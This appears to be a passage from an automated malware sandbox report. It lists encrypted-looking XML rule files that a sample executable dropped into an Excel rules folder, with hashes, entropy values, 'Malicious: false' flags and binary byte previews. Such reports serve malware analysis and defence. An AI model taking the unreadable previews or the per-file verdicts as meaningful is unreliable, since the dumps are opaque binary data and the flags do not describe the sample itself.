Preview:	<?xmlR..D...2..:g4[8.IN.z..t2...Y@.6.\|S_.(.qT.BRH...0(....J...dUw.s....#6....1..[~...E..L....A."S_...S...;QB..c..u..9...e..v>......IG4.....@...3..0....$.... .lo.R.P!.m..}...R.D..E;h.Sp...V$.A.....!.....Z......}...'"....Z.X..8..oM.R..ot....B.......LP.@.......m.[^...$N2..'Yaw.=K.\|....~..".V...a.<.%.F...6.9.&X.n.BO4{]1......L.^.R.'.,.....M+N...s.....}...h7.....k6q#{1jN,.<[..\|n.&{.$C.\|../.>R.90.C#.,....R.....f.......4>8u........Y..&.B.c..5.k.FM~...R....KwZT...Iy.x\_2b.UI.=+..OjM...L......b...Z...)Q.v..9.........u....;.K..........>"..gVK..-./yN...v.vA.E.....g...r....m.@.{.,.H.@...S...._J..n.. ......$.,.'a..\|...eI..1J.+c....X.j.y.1Q........`..M.&.$4.....Cm.ds....\|..l\|.+..S....F.. c.!\ x....3.TB....H.`.?.....+.....r.[..Zm..Bg...LT....l.<%Z....a..\|...`....d.o..#.L......R.......cISh1.i.kGg.qf..J..2..B+]1....G... .d..w.....@.Bd].AT.YZh..:_.l.+V.R;...".!.[..U/L#.y.VA^..aJ.x"..c.[-..D.V.t.(,..~..B..q{.y....,.Q.r.d..G........`#...h.i.....bP2.P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.755220300106363
Encrypted:	false
SSDEEP:	24:HQOGoZL816vpG/peJjtYy8O7wPnUp4RCVmoyETkAkYbD:HQW4eG/SzKy4RCVByZAkCD
MD5:	9C45A97AC147890E06753A2961881FD1
SHA1:	4A9B06076CEB02DFDAC72DFDD68436411475DF27
SHA-256:	E494543C67DF2912DCBE3D62B8E856EFBEFE0495FE815F667A71939FB4B956BE
SHA-512:	BA52A39B661661F79C1B9EFCF3A3C2180CFBACE7A2415D337C54565F0955B7F1EE706D020737AD500AF862FCBD0267FCD10DE3B68A580C4258EB9E5759E5F1A6
Malicious:	false
Preview:	<?xmlos.......ACG(W.....B...;]...F;.W6/.?..e....[!.?M..A...>.....k2...H.:.....2..\|_....0x....^..).Z..... ..)wF.g.....a.Gd.2..p-.....v.4.H.W>..+..}.K...z...@QZ..1.&k31J.u...sf.Xq..x5C..9... ..W.A...,N.g..2..c...C...p."JS-.].}CR...oH0}V...$.....\._..3.tC..<.......1.\.......fm...17_..P._9b"..K..../..j.R.}32iszO......=i.H.\..:...z.C.H7_..D9...[...y.U....FK.61.....S.o.....je..s....3.^Mf....!Y.g.._6.......<O..X..nV..Z..n....,b{....ZM..[...^.<:-.B)..ib&h_....1...a.x.Z... ..}yH....p..J.P6_Y.....)f.\|.?I;*.D0...Q...."q.3.TY....>{...T..mL)20.....x2.......=.[^.. 8s,....^hI..o..}P-PH.l.0.7..c.l...<..F'3.\|.&...x9Y.....b.A..3...A.~...,.....)..P^...Y.\GM.....+.F..sD.n..x.V>...6.VYr#."...-S.....M...Gp.n .R...".......O..$Q...6....w.M..b...y.\$X...K...a.^.../.;_..5.5V..>3..Z].SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.865992332595533
Encrypted:	false
SSDEEP:	24:AtqDPNn0HfdcGZiv3gyXzFdsd/Ie6IWJ+/Usx9i0slhQZiBC09MyS0bD:PDFwCH3PXAFbAVsx9i0AF9LD
MD5:	4178CD3322C2F8DB85A722409DDB4AD6
SHA1:	4AFF6C1367A3748C2DC53408B85A3588E7324E8D
SHA-256:	20CCFE076845B252198FC315B066F387158AB3AA642A99D54B7D53313805DBB7
SHA-512:	69F3044B75D63075B3BA32D9C7D684D07913FDE7092EEC2F3CAC095105E41360E5F71AE2DA974ADDAE9F7E493CEED16D0A149094D92D95F127A3EEB7083BED08
Malicious:	false
Preview:	<?xmlApx5.......e<.t....~...c?...W.....K....+.\|....W..h.v.eH.!.. ......!...C....x.E....^2.4....w..G.eLC.wE....1....H..R..{.;8.P..^.g..yPh.G.....b..N......D.b[.(y}..ad..........K.5F...ouV`r.$R.j..sj....VMz......ql.Zx.d.".\!.DS....t.)...../...}.....i...F...R.. ....PQ5....3.....Tn....HM......M.&.6..U.0.V$cc..;.Z{..2......u..s. Lz.J.tGaS... ....[. .6yN.8M.O...8h-.\...T....).2.}K....F.p.....k.G...w.m.Z]."7...@...I..ig.....s.{O.........iz..1....C.>w..>.[}.NOq\|.....7#..........(..p.M...gj.~_5.}m.\|..iR.F>f.b.n.......,..".Z.K.t?\|..@..*..2..T..N.d.S..M..c..D.>.4<b.......r.h_...-[.c\|...!....C.[.I.&\|..n..dP.eq..)38!......e.w..<n.f...EUa.M+.!....y.....F..Z..`bLaF~D...l.-..v&...X.h.+aN.N.X....uI........O..(B.q s.3.3T...$..>...v\|?.l\|6..D..v...vh........9.C......R.s.B../...O.$[y1...cTW.`s....R...s.7S..=...b...a.`ej..8I..7.r.........~..,..&..[...$.V~c_....>...!.g. ...gET.v..........."..#.G\|......y.{.:.....I.\.8.EB...!..T.!..@....h/....7..H.s....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.881603737335157
Encrypted:	false
SSDEEP:	24:V5yFDJm9BGUC+vggwCx4kQ7LMMfMf4HxOvUE20tCKamZqU4OcAOKaMzmmWYbD:6xJosUVwU4o54HxOvUE20gKhB+tF9CD
MD5:	243929FFC9590A50EA64B19D7185AB4D
SHA1:	A6FF535DF16B3711668ED521ED1ED1DD79E37E0C
SHA-256:	50EF87796B689E860179C5731D3E03B94ED711D60612E0FAF31350A046B50C20
SHA-512:	B4DB2CA89D9908296E745C5EE8921E081B6F10873B7099890A38F41D00EEA0E7275A46A57E8DBF07B6772DFD04601D5AAE3EC962464801CB564F86370D2F7A9C
Malicious:	false
Preview:	<?xmlL}........Z.9.$.SR.....=.+~O.c...k.K.&..$.......y.k....!.vO%..m...,a.Q...I@..x.F....yM...g......x... .e`\!..e.)M..2..._. S....(.i..Xm..Zj_\|d.a._s..)V...~ ....vP......Q..hw....I.%jNc".8..(.....\.....w...:..&1.:.#.}........\'..3...!EeIY..B.:.m.......U..$...z......;..nB..%p%.'..B.....sF6.T..c'B......R&..oU4)dcS=.W..?CFv.m.,..).<.....L....n]..BG.b ....C4.....,l$?......?.dR.hyd.t.k.....5.>S...O..{.. .+.......E[A.Q..>@..e.tY...P....~.-T.=.#..g.v.2.r..r....#d..{k.....2....-..+...Ga.Z..U,..L%W.tx......&p...wR....L.>.;..._o..3..>A.....B.o9.c....a...+:.UV]....CH.s.....9..U..b...Gp..so..'{...?.&N.......L..F....!0.......W...?r.`.....JMo....{%8Kc.\g.x.3..r....h.4..).N......(tg.....p.......C.Y+. .........}.^Z..8..7.c6S.......<.UU.f._....~.+.Dg.miig.......a.......d.. ..$t..=..I..._ec%...Z./...nr.j../D ..G..\|...f.+p_Tc.vP..g..7..].b......>DR.Z4...r..QA.Xw.0....?./w.N..8....n8.{..pb.<w....@I....h.....]....}.......7....)G...r.#;NR.T.g..x.5..A....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.973013860392521
Encrypted:	false
SSDEEP:	192:NHVU5TpCWKqmawaM43XtUXPldT6VOne6/Q1nbnIwy+ryg:ypMvg2XPl2ymbIwyuyg
MD5:	DE0AC4EF6C1409144450BB0EA585D088
SHA1:	7A1D562EDB82B5F98E47CBEE31473CB5B1845ECE
SHA-256:	9A9B4F4747C8B2BBED5F3D1B40ABEE59F5CEE5CD52A762FE3AD0E22BDDBEC4AB
SHA-512:	5EEF595364BEBDEBAB71DD47B0390743379EE3D2C90E468844C056CD4EE57DF64F9F881206DD470D7CF94DC1BED07FBF87D7AAC8929980E1237557F81A405436
Malicious:	false
Preview:	<?xml._..Wb[...l\|..\....S...+.O.$.8.......L.<.l.K.Q.'...+....>...u........i..v.....l.(n...}..t.. .(.?t......xl.T.....R.....!...`...\|F..dy;..M...n.(..Co..NL..(c.@.n+xo....f..1....I......3.s[:......p......L......WY.^cMy......#./p....l..-.R...eR/.+...~.....J.....(1..~.\|.7..V...X.-.0..f._\|.~....C&...o..l=..M./..g. ......D..[$...A\.a....I.....{"..q.@.\.gDc..K...H....G.j....t....am03.q".GK.E.VK.P...`...]m.6DB...K..hi..X{..(.).<k.}....z;{.o.R.I.....bx.?!..j......K.B.$]?3.....Q...{.&.\|\|...@......FI...<....5..h...W...:.c..nA..rB..'..p.c.....0......ux\.;l7......s..c..]...E...5/..C...r.7..I}.B.q....QV;"T.P..=...t'78D_...z".5\|#..(7,.=..0.\..d........4,Z.e.7O.e.kw.XJ.UA.h.)>..j.....%:c.....#...7.`4..P.U..S_....wT...J!......I..".../B..5..42*...9....8ES...D.n.A..B.jj.1....{. hU..D...S+...D=U.....TP...(...' ..p./ Y.XY..z.w...\....KSZw..r.t[\|..R..\|.Ej..r..=.4Z..w.\|.1R..u.a..<7.5Bc..'Q...A2..F.E.2...;.1..E....g...y......".N .VZ4...... ...g-.^`.N..+.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.7364625309421635
Encrypted:	false
SSDEEP:	12:LBWixha3YKfJJSv9oSL7MT6LNDltaIEuZpaxXTpuA7yg9DPZ/sPwbWbIiVFahliT:LBhYIQSvSSPRtPXQpjBsoCfb8ObD
MD5:	91C03CF35A125CF1F813137C7D71CA00
SHA1:	F144845A49603B03441C2256F5D8E8237C20F0FD
SHA-256:	74A7D23DABBF4EA76BFC2F7CB50E9CE66FAC3FB7F8E11CF9381BDC5F4CF5BCD1
SHA-512:	43C517858400EA54801849886C68483EE535B65FA84A06159590E85C0281B12E03C7C89BBE74CAC72F02A4EEA434EA9DA095A90E33B3D763506B05BDD0D9258C
Malicious:	false
Preview:	<?xml..g...>...N.Yj.BN.}.V......0NP..V...Pt...ot..Dm..VLo...]3.zX}.$.%iB.B.!SE.+..)a..\G..ML>P.2.C..L......"a.....fr.sj.:......B......Z..i}9.:..U../...`...1E.. \|.sw...l.l.....y..>.*._.l........qL..w.<...4.o...[......+Q..s.:!6..d.`.\|.L..J.(..7.......8..%.?.C..S....X.ax....k...Q.......hE.J:...d....d.\h}.(...4.w.'..<.:w....V.KO....YOxk...L..Z.W!:c5.).X.2\|l.e.L%.._.~&..>...jn.@...^.$Fm.....y...a\|.I...!.x..ng.<!..%Yh.{.y.6Nv.;T...3.Fb^./.M`.WM...jr.]..W.k.Q...OG1YKFP...Y.X..._..V..W[.....K..b...L.k?x>.hG.....C....(!{.R.q%."...x..jR..{:...C.F.....A..w.cVL@..9.....e.....Y..]..K0..G6...w<.).T{....#.@.p...Z.G{/.".%...}.'.V.aX....o.D.O..I.=.;.U.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.845398195702181
Encrypted:	false
SSDEEP:	24:R4G3F2hkASp0oTJLoyLat+vzC+lKMhvUQv4+8gQmoDr9ZpJWeVxHe1fbxEPXeaYf:R4G3FJAShvTCPMgTTpJWex+1fbxEGlzD
MD5:	F9E55928CECBF5FB860C9B8B8DFC9B12
SHA1:	6A3BE3755AFC8A01EE0FC7472C6FB701391CFFD6
SHA-256:	15B8265C63DFE0E3E198064C48D44916C41F656D690B01FC976DA39B73235B8C
SHA-512:	337CCB3311D2BD2EDE5C31340C403D07BFF000B93939FC173036661966744B25F1D3EB6BE84879D1306ED710F15283ECA7C976B3139F8735C8A4EC29AA13668F
Malicious:	false
Preview:	<?xml...W.\P.:0x...r.a..B.f.. J.@...k=..L...w.!o......sv..t...{..\|.6\|2H..7l.m.#....D...m}...\y.#K........Cn8..r../...-"....B.....+$h..,.....7....\|e.w9..V.4_...1.....#%..K.X.0. .m..`.ls._.l....)7._........i...5s..l.r.....B....~.6.l!N..E......qc..t.9_........R.....wI..P{.T....WH...5~...U..9{.........7:.?.wE...n(.4%..Y..6....<e........@......,.......-Pnv}x.e..1.{a;.X.8s:..COq.2y...3.....=..388ee.e.x..gA.<'.7pFa%...D.....qyg!o1ZZ..\.B.E.0v....J......2''..m+.<.E.<\{..^.W.Z.'.d2.>.....Z.~.a%5......&pCY...8.y2J......R.G..3H.3~.o.N..An.v05..a...a..n...m..f.j.-d....q.E=.hS\.+.D\..n`..f....... ....qF..y.....d......~i..hS.9..j.w...G...=B.j.H...\..xB.....k".As.u.,A.^3.;G...)%.].JS.n....L@..#.....n..WLY...FLl(.\|<....AL7..tOt[?..).}.K...D-{.lnn....gB..j.X(..:2.8..Ugv...W..*...f......y..\>.Fb..=.1...........b.r..(.#2&..`..G..@,y.)#..}\|t..T.s.Q.=.......{}.-......Qb..#\|....#...LL<'7.......i=..d...!.mQ..L\|...?\.JM.4..e.o0~....c..v.R...~[B..,...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.946298740227633
Encrypted:	false
SSDEEP:	96:1GwTrn+QUtFDS2XkmM257vZZH3TL5VpmkbNPgvwJ:ZHIFDfJ7vZFrpvbyvS
MD5:	055400C7AD03BE726DE98D591986B9B2
SHA1:	751A24EC6A729572B43B54491D77A4DE337834BE
SHA-256:	1A1511EBD517F9BF1EC640BCE0661813764B241D9E1923482828E349A911213E
SHA-512:	3F7D6B47F3B689ADB45905610DE00F2630197996D934D0FE5CB17CA68CBB7FC6AEA84E133C731F01B3C280DE4337C58E9985DACDEE300B8AC4F455D8B12B3935
Malicious:	false
Preview:	<?xml...>.!..h)..iw..._.......... ..o.?].X>.Lj..0$.........fP.. QZ...........L...x./..].u.u..~.a.i...lC......"..U+....j.yf.....+......r.=^%H....^B..k..-8S../....Id..`0.i...\|%....MY.F...u^.d.lO..>...o.....v.M.oi.>..x..1.8n...-......b...^..d...q#.:.......f5.;.t.A.A..D.Q..dZ.......XF...O..L.8VHU...T...]{R..RY...jh...G.......5C%......ZX.U}..@..IU......e70g.......rj4.k}.RWy...H..xGT.... .......tB.....Tv...^.Wp.^@..0.S...<.TWX..,.HaR.._...61LR8...H..S...r..p.....C..{.....f..Il.z...Li.-.?tP.....O..z.b.wd.=.n.BM2..d,...9...o.8.Vy..-."..O...,...Z.<....+.2.'.7...py........r...".....Q..E.8..Y.s.!....q..{.....9...;.,.."v....@..>H7,f./..W.0>..LKz..R.s.^...h..Q.'.%[!.....H.....=.z.y...E.....Bj.7._.s`D...!Ct.'...7.#aC)....~.G.{.....n...S....V..g..^..p.~.)f.v...O}.q....$1.3......Se_.4..Ro-?.l...%\...G.......)........3.m6......<K....WhL?..m ..*7.;...&(.6.[M.upcc..{......:j.....(........K=.53.(.....G...e...m.tcx-.:..2..!'.)KA....F@.%.........p.&....G7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.784996678264122
Encrypted:	false
SSDEEP:	24:7MnCl/ERBMoFKK6gFEGF4sAclTv4SC9WMpz/sbD:7ZcBMoFJ1F4Gb4fBpzOD
MD5:	5D6FC48DCD03F89A16AA70B02A0D499A
SHA1:	D58D85DCB9531A07C75B07848B7B5C2C1A00E6A7
SHA-256:	284703ADEAD0721F0B967FB7AC5D7F18DB002922B6EF08A551B5AF5F37B19D8B
SHA-512:	C21E7D948B23D7F24EFDD500C610D5156E5EB7ADA0B0BFFEDE86FD2C22B353EE5EC24AF6D659C06D45885375BAB06668D61DEE437EB0E4CF49CC6448F5CFE0E1
Malicious:	false
Preview:	<?xml.8W......j..._.xTm3....~... ..&.......E..-1I....P.........So....!..H...1....r.. z.y. ..3A..7......Aob.....M.i7.y.:&...E..,5_..WQ.....\|...W.v.A..M..C....T...........c@nz....J..X....g.\|..R...(.=JE>../.K.Y{/F".b.Y.'.V.P...1.k\..../.M..4.....z.jy..p...\|.M?..nw...k#...R.........eJ..P.JM.....Rw<..Q.o..?......4..@%4f.JQf......A."...Hi.....CB.....x..~..N.Jr....K..0v...I.b....sN..#;..5..x.0...N:!...+.'.n..Q..A..=...p.....X..q..f.Fq..Rw..Z....dK#8..O`?......l.V........S......S...jX...P...SC.J..Z.QbH..V....G8...B...;.C.d..Q.t..z.$M...Ej.xTQ./.y=.H.GG.O....G.g...2.eb(.!.S.J6.D.`.....<....m..x....am5]A..!..qW...tm>.U..J8..-u...'5b..c....].Bo..<.......$q].&..?Rk.......S.tx..<..Y?..m..tox...6..I.....t.......4..atu...d.H^.y.,.^.\..s.%..u....kl.e.Ra..)..d.J:.....#..0P,Y....p......j.B......2r~j.%.1u...z.. .-.....Z..p...2.:........D:u..H.S...Q^...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.938803235630594
Encrypted:	false
SSDEEP:	48:JSDp+vx43Eb0BzDMmbN4HQlljTdc7yOzivzD1bxZZboOsc+jQ+AUmKtWv6r6TIzI:Zvx43IkMwKQfBc7G9Nrhsc4Q+AU3t96r
MD5:	9F1D4883BB5DF228CA6ECCED91FC1860
SHA1:	0615A3E6F51245AF2724150313035EC993ED451E
SHA-256:	7E8FDB85C741FBB2DBED4482E075146A173099D72BD51C4A7D50146C15376E7B
SHA-512:	6687D77ECD321BDF6E70549709651084BD36802FDF7E8A77B7A46AF6B0D4479F58FD2A7F3AA8C0A9E7FDD74B7D7B6E10ED54AF9369D5473940726DAB013F5CC1
Malicious:	false
Preview:	<?xml........9Vx;...E.H.`..z/..]M.SSB._zK.1.#[....0...J..;....'T..^..c3.2...8..}.`....JK".....`;]...<.&/..6...4..........?Y.".(..H...&z._.....y9..QX....qI.n.r..[U%...YM2..:Im..k....z..B...[P.w..].Q8..m:.@&.x. .....b........u..x.>Y.....3i...hH..z..gq...J.:..pu.'......f#S......B.E.#.....y+'....N.O^.8_._F...x.T..d. 6#.BG..f...l.1%B.....5]....v4...k..Pb.....I...w.g.\|..h...;.s.eG90.Ga.....[.D..P-..lO...1.1v..{..r.,.....M..? @..}?`.6...E......\|.!.0.ku..O..nS.jh~!.z..Q%.rH.%B@...O.v..E...._..{.$.6.8K...N-....IAffdz.....a.R.j...L....h"...3..!l..p...M'.^.1..o....$.(t..<.........9..M}j..Q.8............y..9....I..{....0..yP4./..e....w[....O.9 .-.z.........z.d}.\..gDc.....[..K._..z.}.@..V.1...c......R..N......J.C.)..y....2...1.J....P.....ZP..~p&....si..l..p;..}.8.]"..}.Z.^.:...q....j...L.q)$.:..v....".. ..Q....... .....;.W."R..F.....t....V.gH....=.....4}......M...._.... ..f.......3......o..@...."^.hs.......#...../_\|[.Sy.{!K..H.M..e.N@../a..^W.%.v..G./.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.922598577425609
Encrypted:	false
SSDEEP:	48:F9DtgDSPNm5TqGLTvfOcRYa0AFU3w0Q/YY3Gm06D:F9DtV2qKHOJ67VGm0S
MD5:	FDE2AC6AB33104EBACD5AE97D0FEB967
SHA1:	80CDF92E3AF4E66D2A33C3AFC82DE1DC3617061F
SHA-256:	15DFA683D2FB2EDD1A07EE8F426C0EEAC577A618ED7EDDEA4A96F3B48003B01D
SHA-512:	173ABFE5A105050BE3F0FE5033EFF95E19ABBA2B906ABB67B58E661506DDEF246CE434EA76305CE88A4A1CCE82609A4516F8C1200208FB9147082B5FB7FA8186
Malicious:	false
Preview:	<?xml......C..5..y\|...&_...2....67V.&...K...Z...DX(...X....7Re...Q3.=5];..:.{#0.........Gd.c-.+..G`o.....-.z..b.~W.'.\|&j;.VI....v.O..%.)S..N?.^..I........].t......+..{f..ck...{.V;j..z.9a...lO.~.n....Q..M>a!...q...+.j1}...3YV-..y.......IlV...6..5...O..J..I...`......=...S...1.-.r....@Sv.z\|J.@c..{G..S#!...{.E.;=..<..-r..\|^i\O.w......U`K%...V.r.%.<...1 ..l(.....~.d.....4./tv...P..6...B..&.`b.y..5>b...,.5.=VD&.n.t..........z/....%.GhZ\.018{.//.....A./...5.v.x..j ..!.$.b.`v.hL-P.....x.).k.M+.KQaa.".L4-3../..1.....Nv.5.>..U\|...D/j..Aw.........w..d.c.[.5.Z...r...:....1...D...8..N...5.\|..W8'..S.wqEg.....D....]..<........p}k.I..~..%%......D......%n..O.n~......o...S.../E3......j .a_._y.......'.U.Xm...A(....f}....Tx+\|.q.e.'...m..(.^t..#......y2En..;k..:.J{...B..?..D9........`8I.W...B.)..6:I-^........-...n..v..CZ..%.=Y#^.y.-..........3..g..K.._G...C....0..~..}.(..g...o,TA....[..CH...t..pB...V.{s..k@Xq].....l.o..R.*wd...5.....4_d.j.s..7..n......m.p?...V....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.93628440324293
Encrypted:	false
SSDEEP:	96:x25S7IOINLxjFL8nujrwvVFY5Iu33Xcv5q:uSU7vwNFYH3sA
MD5:	4862A7FE24B0C632506EBC51D24DB68A
SHA1:	D80D058E18D0C25BD44CF272909E00F2F172F748
SHA-256:	956CF179ED99F14BDB1FB3259DBA0E0D11F9CAAA9060F7835F7381996A80F017
SHA-512:	BFEBBD8A6DCDB3E593704CB0DF48C9743537F6079CEAB0B0BFF050A4B87135824401CAB43DD5EE6BA010FCE9D84FED0C5DECFC87DC8365D04B79BC3281496321
Malicious:	false
Preview:	<?xml.....q\.W!(3..._...bej.@.N..L.oN\|...4..ha.b..O.k.8~L.n:....7...,...tf9.w..b..A..o&.e.P.....7.@.C..=n.Ua.......{.....[../S_.)...Q...b..z.r.Y.Oj.Z+....U.%....G.0...!.s.9...0.._..s.. ...,H......;&.$!.&>&.j.u.,....<$....:..Pg........Y.'P.W....=HFm"..5{a......;.x;..I..9..3@a7.Q..<...!..a`...J.Q.... mC.;..A.ku.{..zo.C.&..dB...........P.o n<...`.;.m..~....,H0#4.gb..T..N+XG{.21.>3.......v.-o&....e.8...-.f.(S.,@}.j.DW..>.4.D.V...:.._U.j.......B....Y...:N."8-...;..n.7.I....!...7.nh.>..G.......(=.I.J..q}0.}..Q...B..#7O..<L.....'._.;...W..O...Gh.~o.$X...{..w...L..-E.M..S.lt.^.us..K(.......Gg.....)..v_...wJ.o........Y+...b........7K./.....:S...t...W..8..^R..(..".Cu....TH......[K.T...L.n=.w...../.,.....>..O....J..........8...i.].._.;...._$....+I)..@...kz.jX.....T..,..:Yw3.5l....y......C........D1<.L=..s.k.......vfc..A{.%.O.p.....8...%...^.J..7......+a....)n..........+A.v.4....P..st...X....."........IB#[Eq..............g......s....g.Qw..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.961725615488152
Encrypted:	false
SSDEEP:	96:B6P6gJX1n0TqecgBkTMJz+Ubl0dc+I9wOwFUZGALobGtki:kigP4cspJt0dcl9wPFuGALobGKi
MD5:	9E8DAE617C17E356980BBB19E041D0B9
SHA1:	C6814282AA4D17D55DDD5FF5CE3EF11F857BCB4F
SHA-256:	856CEEC4F86896C8D229C899FEC86F6B87E56E0F6FF6C72052B1D5A53C8661F2
SHA-512:	73738692D22348954E1611776FD75527BEF05DE36C8A269C4EF9E44667D7F6CAFC2FE29045902680B92B2344EFC64F6B049B0F1351AF4E9DC15E724A38F2E26D
Malicious:	false
Preview:	<?xml.r.}......X..F^..iOM..6....+.....1..P.&.K..f.K..^..2.?.j..t.........>..m..j.B..!..l......7.r.uT..C.`.0.nX..a%U..S...nA..S.....f+.x.......9......Q......l....h.w.^#dc....p....z.N....n..^/...g7......:.X.q....#+<.z.n...f..R..J..:x....y..u.......y.(...p...l...7...1P...M......;....s/?d..9.9.E#..d..]0h..........J...l....Fw.OD...K".,g..?....%P..o0.wx...ee.r.3......'C..9S..+A.......+<..4.[...m.{E..U.....W....1.e.Q.4O.n....A.vF....\|.w@..."..P.....#..Q....r..._n\|....ea.?.=..[.....! 8Zu.....g1yh.......1M)Y3..O.B.p....w...........+%.`..8W..1.t....)F..(dS...0h.e.EK..Gy..O)...U...H.l...{..W.?..}).4..yH.x....<.s...Y..Z.R....O...I...+.t.Pa.i.z..&...?.Q&.i;...}.......H......... ..kSBM!H.d+....,E..C.v~........C..".8...B;7...K0..............q{....#....\...0..ft.S.H.&y............e...\....8.@.......z.cY....R?...i.."Uwq...< ...=H......._>.i&NJ../..@.N.O..&..5?sh.-.Ga..).../o....\|GW......w}..$../.OD.....0l.V.,X]w.G.`."..HPZ..}..$.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.975985110796492
Encrypted:	false
SSDEEP:	96:CogCzUPBz2VRryBqwbYu7KGiz+kKX+pHpPhP8F983xJW2IEZes3dfOaSZoc2xP+b:CIzCK7ryAu+VtKurhjqg11WZP6gRuC
MD5:	3CE1F3AEB11901832CDABE886A27675B
SHA1:	D4002D57E127F302665ECDBFCAC07B7E1EA0635B
SHA-256:	B70D6E2D22E6CEBCFE945F0F9A3A2D4CD0504C1E037ADC5E1B5D2734F4164C93
SHA-512:	AE6E7F150F329F39807FF67FD604E2B247CBF563BC311638D8D0B651C8F80038D0F866A0A905F10F4592ED02375EB37E9F8A45D22EE3D51B6F84661A43F00DAA
Malicious:	false
Preview:	<?xmlo7.d4..;,K...X.2..l.P......../o....B..A.v.4.u.e.`.QXJ ......0.1..9..3ki6.....9W..3..z:..fk7+B.).Oe.\|.hC..R.v...p.....RO..n........C..G..>....q.q(.r.......O.:5.....)..bk>.n..]...Q......V.{1....?.]<..k.AI$:...;.0........=0.]?.:d.=...^.5;f........;..7..h9HF....BL..s...f.iy.B..^..=.".A.b]..F.\j3.d...4.V46..g/.\|.....i..&.O......R...i.=..2l..{..j.T...a."..\|.....4..x...K..JUu.W(..Y...../...u0.,.c[.o'.CD..:.K..09H.5.P..\|..k_.hL%?.R.!......s..1.<...3..FJT,V.2.d..#9.......G..8.P.a.}..yW......b....Mm...DS6U./.....f=.\|..1........<y.4...'\|..~..p......`\..[8q....,.._7...y7...s.$.P5.F......q..I....)+...c.....t.O1..'.Y.s).D......w.(xd..}..?E.b..B.. .@X....j\.6..'.W.#q..7h....@.>@....Ey.g...'~QD.....Q..vU<...f2..%.....p.........g......$...=...\M.`7.. .2............dK........G...X.......^.7Q.7...w.&.3.Yu.zA......\\|..w..W.$KR3v......E....a._Pj]4....lH.2..f..}......,-...j..../.Li1...1.X..r.I........."D.F...P..p........... %@....I:...g..f.k*...bW.W...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.976517288475285
Encrypted:	false
SSDEEP:	192:GLk/AsPaSUzMh8guRqbDC1WrCDbqQo8TBITd:T/AqbUzDguRqlCKQnTmp
MD5:	3CF3AF9921DB1CCFD75C27724B7A09B8
SHA1:	F55CBBD9DEE8C7CE6E8DB04754BF8EC8CDDB6142
SHA-256:	E0C0964523D3A187103D66B81C348F3A4649853E6310AE5EAA62C3C3EA890757
SHA-512:	F501C8E10CAC2664E5BB0B7BF34DADE44DF9B4F4E050B25B563DD50A612F6F8CB9AD441B0BE4997BC4E79CA696408C6D149AE0AEB6FC96D911D4EC3C98AC6D05
Malicious:	false
